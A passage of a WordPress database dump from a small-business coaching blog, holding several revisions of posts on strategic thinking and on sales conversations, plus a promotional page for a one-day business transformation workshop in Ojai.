'', 'inherit', 'open', 'open', '', '2588-revision-5', '', '', '2014-03-22 12:16:31', '2014-03-22 19:16:31', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision-5/', 0, 'revision', '', 0),
(2595, 2, '2014-03-22 12:16:35', '2014-03-22 19:16:35', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-revision-6', '', '', '2014-03-22 12:16:35', '2014-03-22 19:16:35', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision-6/', 0, 'revision', '', 0),
(2596, 2, '2014-03-24 13:13:29', '2014-03-24 20:13:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone else  sees complexity. In my experience, most creative entrepreneurs just want to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  One can learn principles of strategic thinking, however if you don''t possess the natural talent for strategic thinking, the learning will be difficult. It''s like trying to learn to play the piano when you have no talent for music.\r\n\r\nInterestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate effortlessly mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-autosave', '', '', '2014-03-24 13:13:29', '2014-03-24 20:13:29', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-autosave/', 0, 'revision', '', 0),
(2597, 2, '2014-03-22 12:20:32', '2014-03-22 19:20:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone sees complexity. In my experience, most creative entrepreneurs just what to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  Interestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate naturally mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>', 'Are you a strategic thinker?', 0, '', 'inherit', 'open', 'open', '', '2588-revision-7', '', '', '2014-03-22 12:20:32', '2014-03-22 19:20:32', '', 2588, 'http://www.whitehotcenter.com/2014/03/2588-revision-7/', 0, 'revision', '', 0);
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(2598, 2, '2014-02-26 11:36:32', '2014-02-26 18:36:32', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\n</strong></h2>\r\n<h2><strong>Strategies for Creating Competitive Advantage\r\nfor Entrepreneurs, Solo Professionals and Small Business Owners\r\nMay 16, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nStrategic Brand Development\r\nand Business Transformation Expert\r\n</strong></h2>\r\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\r\nWatch the video to learn more about what we’ll cover in the workshop.\r\n\r\n<strong>Transforming your business for the next level of growth.</strong>\r\n\r\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\r\n\r\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\r\n\r\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\r\n\r\nHere’s what you’ll learn:\r\n\r\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\r\n\r\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\r\n\r\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\r\n\r\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\r\n\r\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\r\n\r\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\r\n\r\n<strong>How to master your personal effectivness and performance.</strong>\r\n\r\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\r\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg"><img class="alignnone size-full wp-image-2586" title="Thomson Dawson Quantum Leap Workship" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg" alt="" width="497" height="632" /></a>\r\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small busness owners and their teams who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$695.00 USD per person\r\nSpecial discount of $50 off for early registration prior to April 18, 2014\r\nAdditional discount of $30 off for each additional person in your firm prior to April 18, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 18, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2014-02-26 11:36:32', '2014-02-26 18:36:32', '', 145, 'http://www.whitehotcenter.com/2014/02/145-revision-151/', 0, 'revision', '', 0),
(2599, 2, '2014-05-13 12:24:48', '2014-05-13 19:24:48', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\n</strong></h2>\r\n<h2><strong>Strategies for Creating Competitive Advantage\r\nfor Entrepreneurs, Solo Professionals and Small Business Owners\r\nNovember 7, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nStrategic Brand Development\r\nand Business Transformation Expert\r\n</strong></h2>\r\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\r\nWatch the video to learn more about what we’ll cover in the workshop.\r\n\r\n<strong>Transforming your business for the next level of growth.</strong>\r\n\r\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\r\n\r\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\r\n\r\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\r\n\r\nHere’s what you’ll learn:\r\n\r\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\r\n\r\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\r\n\r\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\r\n\r\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\r\n\r\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\r\n\r\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\r\n\r\n<strong>How to master your personal effectiveness and performance.</strong>\r\n\r\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\r\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg"><img class="alignnone size-full wp-image-2586" title="Thomson Dawson Quantum Leap Workship" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop1.jpg" alt="" width="497" height="632" /></a>\r\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small business owners and their teams who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$695.00 USD per person\r\nSpecial discount of $50 off for early registration prior to October 1, 2014\r\nAdditional discount of $30 off for each additional person in your firm prior to October 1, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accommodations, and how to confirm your spot in early registration prior to October 1, 2014. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2014-05-13 12:24:48', '2014-05-13 19:24:48', '', 145, 'http://www.whitehotcenter.com/2014/05/145-revision-152/', 0, 'revision', '', 0),
(2600, 2, '2014-06-13 11:12:53', '2014-06-13 18:12:53', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to become a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n<strong>Bring more to the table.</strong>\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center.</em>', 'Improving the customer’s condition.', 0, '', 'publish', 'open', 'open', '', 'improving-the-customers-condition', '', '', '2014-06-13 11:12:53', '2014-06-13 18:12:53', '', 0, 'http://www.whitehotcenter.com/?p=2600', 0, 'post', '', 0),
(2601, 2, '2014-06-13 10:56:53', '2014-06-13 17:56:53', '', 'happy customer', 0, '', 'inherit', 'open', 'open', '', 'happy-customer', '', '', '2014-06-13 10:56:53', '2014-06-13 17:56:53', '', 2600, 'http://www.whitehotcenter.com/wp-content/uploads/2014/06/happy-customer.jpg', 0, 'attachment', 'image/jpeg', 0),
(2602, 2, '2014-06-13 10:59:14', '2014-06-13 17:59:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\n\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\n\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\n\n<strong>Capabilities are commodities.</strong>\n\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\n\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to create a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\n\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\n\n<strong>And now for the tricky part.</strong>\n\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\n\n&nbsp;\n\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\n\n&nbsp;\n\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\n\n&nbsp;\n\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\n\n&nbsp;\n\nBring more to the table.\n\n&nbsp;\n\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\n\n&nbsp;\n\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\n\n&nbsp;\n\nHelp your customer-to-be see a better vision for improving their condition!\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision', '', '', '2014-06-13 10:59:14', '2014-06-13 17:59:14', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision/', 0, 'revision', '', 0),
(2603, 2, '2014-06-13 11:02:39', '2014-06-13 18:02:39', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg"><img class="alignnone size-full wp-image-2601" title="happy customer" src="http://whc.fbdev.org/wp-content/uploads/2014/06/happy-customer.jpg" alt="" width="495" height="259" /></a>\r\n<h1>In the sales conversation, clients don’t care about your expertise they care about improving their condition.</h1>\r\nAs an entrepreneur, you’re responsible for creating a customer. In the buying process, the default sales strategy for many entrepreneurs is put a lot of their attention in pitching their expertise and capability to prospective clients.\r\n\r\nNaturally your talent, capabilities, expertise, product features, service quality are what you think will separate you from your competitors and win the day. The truth is, in the late stage buying cycle, “goods and services ” are only a means to a desired outcome–not the outcome itself.\r\n\r\nCustomers and clients view “capability and quality” as the ante. In most categories of goods and services, clients and customers have abundant choice. If you want to close more business, your sales conversations should always be centered on improving the client’s current condition.\r\n\r\n<strong>Capabilities are commodities.</strong>\r\n\r\nMore than what you’re selling, clients care about something far more valuable–improving their condition. Or put another way, clients value desired outcomes more than deliverables. Whatever this means to your prospect, improving their current circumstances always requires a change.\r\n\r\nChange for individuals (and particularly for organizations) is a difficult thing to do. To begin with, to create a new customer, they have to change who they are currently buying from.  This is a tough decision for many customers. They fear change. You must give them a compelling and credible reason to improve their condition by doing business with you.\r\n\r\nWhen you understand, from the point of view of the customer, what condition needs improvement, you build the necessary levels of trust faster and increase your power in the buying process significantly.\r\n<h2>A sales conversation must never be all about your capabilities or your product features– rather focus your sales conversations on how you will improve your customer’s condition.</h2>\r\nThis requires you listen more, dig more, have more empathy and are willing to walk away from business that’s not a good fit for you. No matter how good and different you or your product is, if you don’t understand the client’s current condition and and how your value proposition will improve it, you won’t be around when the buying decision is made.\r\n\r\n<strong>And now for the tricky part.</strong>\r\n\r\nProspective customers will not always reveal what their current condition is that needs changing. Often they don’t really know. For example, none one was asking for (or needed) an iPhone, but once revealed, the iPhone became something many could not live without. iPhone users’ current condition was changed forever by a device that revolutionized how they organized their digital life.  The iPhone was not created to help people make better phone calls.\r\n\r\n&nbsp;\r\n\r\nLikewise, your solution, product or service offer, once revealed, must resonate with an unarticulated-pent-up-desire for an improved condition. That desire will often be a hidden aspiration for something rather than a blatant need for something.\r\n\r\n&nbsp;\r\n\r\nWhen your prospective clients and customers perceive your value proposition as a source of insight and inspiration contributing to the quality of their life, you’re competitive advantage will be exponential.\r\n\r\n&nbsp;\r\n\r\nAnd like my iPhone example, when customers finally do buy, they’ll gladly pay more to do business with you.\r\n\r\n&nbsp;\r\n\r\nBring more to the table.\r\n\r\n&nbsp;\r\n\r\nIn every sales conversation, bring something of value and share it freely. This could be anything that is relevant to the individual and context of the conversation. The old saying holds true–“if you want to get what you want, help someone get what they want”.\r\n\r\n&nbsp;\r\n\r\nSome prospective clients would appreciate more data or market knowledge, others would like informed insight and ideas, others are seeking an opportunity to advance their own personal condition. Whatever the case, bring something more to the table besides your product demonstration and your sales pitch.\r\n\r\n&nbsp;\r\n\r\nHelp your customer-to-be see a better vision for improving their condition!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Improving the customer’s condition.', 0, '', 'inherit', 'open', 'open', '', '2600-revision-2', '', '', '2014-06-13 11:02:39', '2014-06-13 18:02:39', '', 2600, 'http://www.whitehotcenter.com/2014/06/2600-revision-2/', 0, 'revision', '', 0),
